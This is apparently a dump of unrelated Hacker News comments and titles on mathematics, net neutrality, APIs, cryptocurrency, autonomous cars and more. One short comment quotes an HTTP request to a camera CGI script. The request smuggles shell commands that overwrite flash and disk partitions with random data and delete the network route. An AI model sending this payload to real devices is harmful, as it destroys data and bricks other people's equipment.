skysight-inc/HackerNews huggingface dataset:
Ah, that's a much more direct interpretation. I'd always considered the /2 to mean find the middle element. take the biggest and the smallest, add them, and multiply by the middle. Which is a little closer to my drawing. My interpretation is bad, because i'd always have to mentally special case odd length sequences.

Your way, the doubling is obvious, so you see why you can always /2 at the end.

Hmm. Haven't thought about this stuff in years. This was a pretty pleasing thing to revisit.
> I can't find that text in my link

sorry, i was unclear. it's found in the link under "only between 2% and 10% of all reports are estimated to be false".
I am asking you to answer the questions I posed instead of making counteraccusations. If you make a good argument I am happy to listen and change my position.

Denying everything, never admitting to what other observe even if it might have merit, and making counteraccusations instead of answering direct questions that are reasonable does not make a position any more correct. This kind of tactic to avoid shining light on an agenda and discussing it is very dangerous to a democracy, and to be honest it kind of proves my point.
I finished Ph.D. courses without ever having to pay much attention to the geometric interpretation of matrices. The path I took was solely computational and algebraic. I often wondered if I'd missed anything. The 3Blue1Brown videos say I did.

I will admit I don't have a solid intuition for matrices used for rotations, flips, etc. (outside of basic 2x2 examples). This can be a disadvantage, even if one pursues a purely computational approach to linear algebra. For instance, it took me a little longer to understand numerical techniques like Householder transformations.
https://en.wikipedia.org/wiki/Householder_transformation

That said, I want to also say something in defense of the purely algebraic approach. In higher dimensions, there is no geometric analogy and people who rely on geometry alone find themselves unable to think abstractly in higher dimensions. To me, matrices and vectors are the building blocks for multivariate generalizations of familiar relationships. The algebraic approach meant I was comfortable dealing with complicated high dimensional objects that weren't amenable to visualization.

I believe intuitions are good for laying a foundation, but abstractions are necessary for generalization and for building larger theoretical systems. Intuitive constructs can only get you so far. If I'm not mistaken, this was what Bourbaki group strove for; that is, to move mathematics past the intuitionist approaches of the day to a solid theoretical foundation built upon abstractions. There are pros and cons, but arguably without this foundation, mathematics might not have grown in the way it did.
If you restrict the possible coefficients, and limit the maximum degree, you get interesting fractal patterns: https://johncarlosbaez.wordpress.com/2011/12/11/the-beauty-o...
Which does not agree with Altman's description. Note the qualifier "excluding, marginalizing, or insulting groups of people considered disadvantaged or discriminated against."

Further quoting, to emphasize what I wrote earlier: "Commentators on the left contend that conservatives use the concept of political correctness to downplay and divert attention from substantively discriminatory behavior against disadvantaged groups."
for twelve year olds it just tastes foul.
Jobs aren't designed to do anything except fulfill the employer's needs at minimal cost. We need to stop waiting around for employers to start looking out for their employees' interests and start forcing them to.
The CIO should report to the CISO
The Spotify ads seem like they're just made-up numbers poking fun at data collection practices. I think they're funny and I'm not concerned.
Link to these "actual" RESTful public APIs?

I've been curious to see one (for years). Everyone talks about how this REST service is being done wrong, but few will link to services being done "right".
Well, that still does make a very bad argument, exactly because it is a false assumption.

But aside from stating the obvious: I would actually be interested if there is a country where a lack of competing ISPs is not the status quo. And if there is, what the reason for that might be. If there is, I'd assume it would have to do with that country treating network infrastructure the same as roads and allowing small companies to access it.
Is IOTA the next big thing?
will bitcoin be like nokia? IOTA has potential to replace Bitcoin, It doesn’t have transaction fees and it can handle much more transactions every second. In addition, it has some applications that may revolutionize the whole world
The nice thing about SOAP was it had a full-fledged type system built in. REST is certainly easier to debug, but it's also more likely you'll be required to debug it, since many of the problems you'll run into in a REST interface would have been caught at compile time with SOAP.

SOAP's big problem, IMO, was the crazy insistence on URI formatted namespaces, which took a simple XML message and turned it into something bloated and confusing.
Blaming a drug addiction is not equal to blaming the drug user. The alleged victim is an unfortunate drug abuser.
> The amount of energy required to operate a submarine or stealth fighter is less than a trillionth trillionth the amount needed to propel a starship.

In a trillion trillion times the volume. You could also have a seemingly inert asteroid that lobs out small probes as it passes through a system for fairly minimal energy signature.

> And the limit of speed of light is a basic cosmological principle. Faster than light speed travel would violate all principles of our universe, it couldn’t exist in it’s present form.

Both relativity and quantum physics came about because we found stuff that violated stuff we thought were principles of our universe.

Even our current theory seems to permit workarounds like wormholes or https://en.wikipedia.org/wiki/Alcubierre_drive.
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In choosing a corporate shill like Pai, I think Trump...

Don't you mean the last administration? Pai has been with the FCC since 2011.

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Leave the regulation in place, or at least put some serious conditions and stimuli for new broadband investments if you're going to repeal NN.

You mean government regulation that does nothing to the big players? The government still has failed to go after Comcast after they violated the terms of the Comcast - NBCUniversal merger. Or what about the millions of dollars given to Verizon to expand their FiOS network and have yet to make good on that.

Crying more government regulation does not help if the government picks and chooses who it will go after and when. If anything, the FTC (Federal Trade Commission) should be where "Net Neutrality" should be enforced since this would be an issue of failing to provide a good or service.

Edit: Missing word.
Is it just me who'd love something like this to happen to me? Would be great fun tracking down the source of the problem (if it was my car; probably less so if I was in the house...)

There's a lot of options to try to isolate the problem, just thinking out loud here -

a) Back into the driveway returning from work. See if alarm goes off. Next morning, see if alarm goes off as you drive out.

b) Remove fuse for reverse assistant. (Stupid sensor thinking IR, ultrasound or RF sure-fire sign of break-in)

c) Remove fuse for reverse light. (Stupid motion detector confusing light for potential intruder)

d) Rev it up a little before shifting into reverse. (In case a resonance is the cause)

e) Roll out of the driveway in neutral. (Would be surprised if this triggered anything - if the car's movement was the cause, alarm wouldn't go off immediately upon shifting into reverse, only when it moved)

f) (...)
You'll run into today's equivalent soon enough :)
Missed a word there: "But like every not completely mainstream web browser..."
That's exactly the reason why I use Stumpwm as a wrapper for Emacs and multiple chrome windows.
Perhaps a better title would be "Fake FCC comment [...] attributed to Barack Obama"
Since this topic has been discussed more than any other recently, and there's no significant new information here, it qualifies as a dupe.
Show HN: Vim-snipe – Targeted linewise motions and edits
Watchdog Report on ICE Abuse as Agency Seeks to Acquire New Detention Centers
Ethereum Mobile Client ‘Status’ Hopes to Bring the Blockchain to Smartphones
I'm also familiar with Jan's work and would highly recommend it to anyone interested in the history of mind control and psychedelics. He's uncovered a lot of interesting history. It has been interesting to see Jan's development from being pro-psychedelics (e.g. his film Pharmacratic Inquisition) to his stance today which place psychedelics and mysticism mostly in the realm of mind control tools. To say the least, there are some very bizarre connections between military intelligence and the formation of the "counter culture". And seemingly, this is nothing new, with these types of links going back to at least classical civilization with Eleusinian cult initiations.
The year is 2037. This is what happens when the hurricane hits Miami
I wouldn't be surprised if this is partially the case, but the homicide rate suggests to me that there is also a significantly lower amount of (serious) crime - it seems difficult and unlikely that murder would or could be handled without involving authorities.
They're also very popular in Denmark, and the rest of Scandinavia.

Description in English: http://denmark.dk/en/meet-the-danes/forest-preschools

And a small documentary: https://www.youtube.com/watch?v=Jkiij9dJfcw

An equally significant difference for me, coming from the UK, is that there are men working in childcare. My window overlooks a street where a lot of nursery and primary school groups walk past on their way to the park, and my guess is half the adults are men. I was 9 years old in England when I first had a male teacher.
There is a much wider generalization here which is studied under the name of "property elicitation" in computer science, machine learning, and statistics.

The generic question is: Given a loss function, what "property" of the distribution minimizes average loss; and given a "property", characterize all such loss functions. For example, Bregman divergences are (essentially) all losses that "elicit" the mean of a distribution. If you have any monotone continuous function g(), then |g(x) - g(s)| actually also elicits the median, and these are essentially all that do.

Apologies for self-promotion, but you can read more at references on this page (disclaimer: I'm one of the researchers who posted it): https://sites.google.com/site/informationelicitation/

or tutorials on this subject at my blog: http://bowaggoner.com/blog/series.html#convexity-elicitation
I think UK has pretty healthy competition between ISPs.
I've had the idea-man work done for a wildly expansive version of this for a few years now. I should spend some time on that.
What would a president who is barely in office for a year have to do with decades of poverty development and increases in income inequality ?
The important calculation then is how many different types of rare situations are encountered, what it means to be a rare situation, how often all rare situations happen in total, and how much better or worse the human or computer does. When I hear about Uber’s cars having issues with the apparently rare situations of, say, street lanes being restriped in a different place, or with delivery vans parked partially in a lane, I realize that much city driving is a bunch of rare unusual situations strung together in a row that requires constant improvisation. Construction, wrecks, emergency vehicles, delivery vehicles, weather, power outages, traffic signals on the fritz, funeral processions, pedestrians, loose debris from other cars, blown tires in the lanes, faded lane lines, parking lots, traffic jams, farm vehicles, moving vans... I think we’re going to find out that an acceptable level of automated safety ends up making automated cars so poor at navigating around the real world that it’s going to be a commercial failure.
Doesn't look that way in the bay area on the caltrain line from San Jose to SF. Tere, due to limitation and NIBYism along the tracks, but part of the argument of the boring folks is that a tunnel would not face the same political headwind that a decent train system would require.
but what percentage of mobile users?
Interesting, I'm a bit shocked that these appear to actually be real user-data pulled things vs editorialized made-up details.

Somewhat also interesting that it looks like the negative feedback started up before the companies commented on how they came up with the lines.

I remember a decade-oldish fast food TV commercial I remember that was something along the lines of "dear person who ordered a double cheeseburger and then felt regret after your buddy ordered a triple: it was only a dollar more", and it was obviously a fictional yet relatable ad. Funny how much things have changed since then, as companies have done such a poor job building anything like consumer trust around data - what was once obviously cheeky and cute (if faked) now comes off as rude and malicious and sneaky but real. And from the article and discussion here, it seems like the less you know about how the ad creation process works/has historically worked, the more likely you are to cry foul on first blush.
With all the free, empty land inside of major cities?
Here's a copy that doesn't require JS:

https://gist.github.com/anonymous/2e7972e9282602118be24cd1fd...
Hmm, interesting. Automated threat analysis, how exactly would that work? Like the configuration OVALs?
If I'm not mistaken Red Hat has quite the support via OVALs to some of the PCI requirements.

Regarding the card processing environment, what does that usually consist of? Linux servers?

You can reply to info@ SecureIT or here. I'm interested in knowing more.

Cheers
Just spin up an aws t2.nano...
About 55.7% of the U.S. voting-age population cast ballots
in the 2016 presidential election. In the OECD, the U.S.
placed 28th in voter turnout, compared with an OECD
average of 75%. Registered voters represent a much
smaller share of potential voters in the U.S. than just
about any other OECD country. Only about 64% of the U.S.
voting-age population (and 70% of voting-age citizens) was
registered in 2016, compared with 91% in Canada (2015) and
the UK (2016), 96% in Sweden (2014), and nearly 99% in
Japan (2014).

This is a comment from the report itself. This comment was probably the one that stood out to me the most. It wouldn't surprise me if it was the case that disenfranchisement of the poor would always or almost always lead to a society that doesn't properly care for its less well off.
This is the dream of the 21st century: machines selling to machines.
I wonder how these could do in a homelab environment with each node running a different VM for pihole/SMB/transmission/etc.
I didn't realize latitude and longitude lines have width.
Butch, femme, and the history of lesbian identity
You might want to look after your horses and their foals that you don't keep in the front yard.
> Yes I do, and I've been over some of it with you in this thread.

I looked for all your comments with your name in my history. Not a single one of them links to anything.

> What, the poor countries have different gender ratios claim? I addressed that.

You haven't addressed it, though. You claim it's based on economic growth, yet cite no evidence. In fact, there's plenty of evidence to the contrary: the UK has a bigger (and more advanced) economy than India, and a bigger participation of women in STEM. The same goes for Norway vs. US. In fact, Latin America has a much higher participation when compared with, say, Asia for comparable economic growth.

Even if we take the US in isolation, your claim doesn't hold up: we have grown at a relatively steady pace for the past few decades and more women participate on STEM fields today that they did in the 80s and 90s. If "economic growth" was the one driving factor, you'd see the exact opposite.

Again, are you sure you are putting enough effort into validating your statements? Here are two sets of statistics you might want to consider [1][2]

> How is Russia doing today after a ton of economic growth?

Russia has gone through a huge amount of "Westernization" since the Berlin Wall came down, so trying to make the case that economic growth or cultural shift are 100% to account for the changes is a fool's errand.

> In 2016 Russia had the highest percentage of patents filed by women, at about 16%

What makes you think that patent filings of all things represents industry participation? You have to be careful, you could easily conclude there are no males younger than 24 in a given industry if you used patents filed as your only data source. I think the links I posted above, in particular [2] are a better reference.

[1] https://www.weforum.org/reports/the-inclusive-growth-and-dev...

[2] http://uis.unesco.org/sites/default/files/documents/fs43-wom...
This looks fantastic! Really cool stuff :)
Check this one out:

'GET /cgi-bin/supervisor/CloudSetup.cgi?exefile=(cat%20/dev/urandom%20%3e/dev/mtdblock3%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock4%20%26);(cat%20/dev/urandom%20%3e/dev/mtdblock6%20%26);(cat%20/dev/urandom%20%3e/dev/sda2%20%26);((sleep%2017;route%20del%20default)%20%26) HTTP/1.0\r\nCookie: SSID=%%CUSTOM1%%\r\n\r\n'
yeah, but I don't think it's going to die from any of those things you mentioned. it's too robust. that's why those things are not in the note.
The author is also a LLVM engineer who's worked for Qualcomm, Dell and AMD.
Is there a way to vote this as the funniest HN submission of the year? I started laughing and when I thought "what will happen when the vague concept of the Internet-of-Things becomes a reality" I can't stop. I always loved Subarus, but now I want one.
Your argument has multiple fallacies. The first is an either-or fallacy, that your only choices are deflation, or hyper inflation, when most OECD countries have had fairly low stable inflation rates over the last two decades.

Secondly, the idea that the response/benefit curve from monetary growth rate is linear, and therefore you can just extrapolate linearly that more is better. Our economy depends on a goldilocks region, where the extremes are bad, and the desirable area you want to inhabit is inbetween.

When currency is deflationary, no one wants to spend money, and you face an economic stagnation from a huge pull back in spending, no different than the Paradox of Thrift. There's no need to even make a philosophical argument here, we have a century of empirical evidence that deflationary causes a spiral, hell, Japan has been stuck in a deflationary spiral for 20 years.

Sure, eventually you have to eat, so you'll spend your BTC if the alternative is to starve, but is that how you see the economy being run? The only thing people spend money on are the absolute necessities? That's a very austere world, and once in which most people are unemployed because there's much lower demand for everything, except emergency car repair and basic necessities.

Likewise, you don't want hyperinflation, because it makes planning for the future impossible, wipes out investment, and induces hoarding of real assets.

But low levels of inflation, from 0-3%, do not cause such problems, and gently induce people to spend or invest money, rather than keep it under a mattress. For the same reason, something like a Land Value Tax is good because it induces people to stop hoarding land and not doing anything with it.
AVs can react faster than humans - if all the vehicles in the tunnel are controlled automatically, distances could conceivably shortened quite safely. Not sure why "citation needed" was downvoted, it's far from clear no matter where you stand on the issue.
How do you effectively blacklist an address when you can just generate a new one? Treat it like a one time pad; unless the government is sending out these black lists in real time (but even then...)
The narrative presented is that the comments against Net Neutrality came from opponents of Net Neutrality.

There is a more subtle consideration though - to undermine the entire conversation, you could seed fake comments and then present the known opponents to be crooks.

Or, perhaps separate those two actions entirely. One actor seeds fake comments knowing that a watchdog will pick up on it, thus undermining the commenting system.

My gut tells me that after what we’ve been seeing come out of the investigation of the 2016 election, the latter options seems plausible.

Add in to the mix citizens who conflate comments with votes, believing that this is a channel of direct democracy and you begin to see why the whole comment system is flawed.
> anonymous criticism only contributes heat and no progress to a discussion

Is a direct attempt at suppression.

I'm saying you're being hypocritical.
Perhaps, but a global recession of a large magnitude may not happen for many years.
So I guess the takeaway here is that the secret ingredients to bitcoin's success have been facilitation of crime and corruption by obfuscating the agency principal relationship, thus concentrating wealth in the hands of the corruptible, leading to facilitation of bigger and better crime and corruption.

Congratulations are in order for Bitcoin both reinforcing the most degenerate aspects of human nature more effectively than ever before and for its charter adopters and boosters getting rich off the spiraling chain of negative externalities as the cancer spreads?
We have redundant power (coming in the building at 2 different spots) for data centers, why not for critical infra like airports?

(let alone having, you know, a generator)
Ah thanks! With that last link this is unambiguously a dupe.
What's annoying is that as someone who did have a rather free-range childhood, people don't get that there actually were good reasons for people to be helicopter. You let the kids go off and play with others for hours alone, right; but then you find out later that while they did, an older teen was molesting them, or introducing them to porn. You let your kids play and roughhouse, cool; but back then you'd often have your kid chip a tooth or bust their collarbone, or they'd be blacking each others eyes or fighting after school. You'd give them the freedom to be alone, and then they'd be in front of you with the cops by them, because they were throwing rocks at windows.

People need to stop knee-jerk reacting to things and understand trends often happen in context to previous happenings. The helicopter movement arose after we realized in the 70s and 80s that free-range childhood often led to some really dangerous things happening to kids, that unsupervised time actually helped cover up things like sexual abuse or violence. It isn't just millenials being millenial or something.
Ask HN: What product can I sell with my graphic design service?
I design things as a freelancer and want to experiment with products. What are things I could sell alongside a customized service?
The comment from im_from_detroit [1] seems on-point, possibly ultrasonic sound from a backup sensor on the car being received by an ultrasonic detector in the house.

[1] https://www.reddit.com/r/cars/comments/7k12fs/neighbors_hous...
They don’t need width for this do they? You could think of them as a set of points which have 0 area, but a region can still contain the points, so which set of points is overlapped by the most regions? I’m pretty sure U’ve got a bad idea there about width.
Oh, I did mean the original version. I was just asking because as far as I know, nobody has found any serious flaw in it. The developers have only stated that it may contain unfixed security issues because they are no longer supporting it. Consider that if any security issue was fixed in any of TrueCrypt's forks, then people would be saying TC is known to be insecure, and as far as I know this is not the case. So if you expect there to be any vulnerabilities in TC, you should also expect the same to be true for VC or TC.next, etc.